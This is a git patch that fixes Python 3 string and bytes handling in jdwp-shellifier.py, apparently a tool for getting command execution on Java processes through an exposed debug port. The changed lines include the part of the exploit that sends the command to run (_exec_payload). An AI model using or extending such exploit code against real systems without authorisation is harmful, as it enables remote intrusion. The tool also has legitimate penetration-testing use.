From 833cde04ff9c20e721af6be500d0913d0f19e2fe Mon Sep 17 00:00:00 2001 From: Erfan Norozi Date: Thu, 24 Oct 2024 23:50:24 +0000 Subject: [PATCH] Fix python3 issues in exec_info --- jdwp-shellifier.py | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/jdwp-shellifier.py b/jdwp-shellifier.py index 5a27c5e..a010e4b 100755 --- a/jdwp-shellifier.py +++ b/jdwp-shellifier.py @@ -596,18 +596,18 @@ def _get_value(self, refTypeId, fieldId): field = self._parse_entries(buf, formats)[0] return field - def _create_string(self, data: bytes): + def _create_string(self, data: str): buf = self._build_string(data) self._socket.sendall(self._create_packet(CREATESTRING_SIG, data=buf)) buf = self._read_reply() return self._parse_entries(buf, [(self.objectIDSize, "objId")], False) - def _build_string(self, data: bytes): - return struct.pack(">I", len(data)) + data + def _build_string(self, data: str): + return struct.pack(">I", len(data)) + data.encode('utf-8') - def _read_string(self, data): + def _read_string(self, data: bytes): size = struct.unpack(">I", data[:4])[0] - return data[4 : 4 + size] + return data[4 : 4 + size].decode('utf-8') def _suspend_vm(self): self._socket.sendall(self._create_packet(SUSPENDVM_SIG)) @@ -806,12 +806,12 @@ def _exec_info(self, threadId: int): propObjId = propObjIds[0]["objId"] data = [ - chr(TAG_OBJECT) + self._format(self.objectIDSize, propObjId), + struct.pack(">B", TAG_OBJECT) + self._format(self.objectIDSize, propObjId), ] buf = self._invoke_static( systemClass["refTypeId"], threadId, getPropertyMeth["methodId"], *data ) - if buf[0] != chr(TAG_STRING): + if buf[0] != TAG_STRING: print(("[-] %s: Unexpected returned type: expecting String" % propStr)) else: retId = self._unformat( @@ -846,8 +846,6 @@ def _exec_payload( """ print(f"[+] Payload to send: '{command}'") - command = command.encode(encoding="utf-8") - # Allocate string containing our command to exec() cmd_obj_ids = self._create_string(command) if not cmd_obj_ids: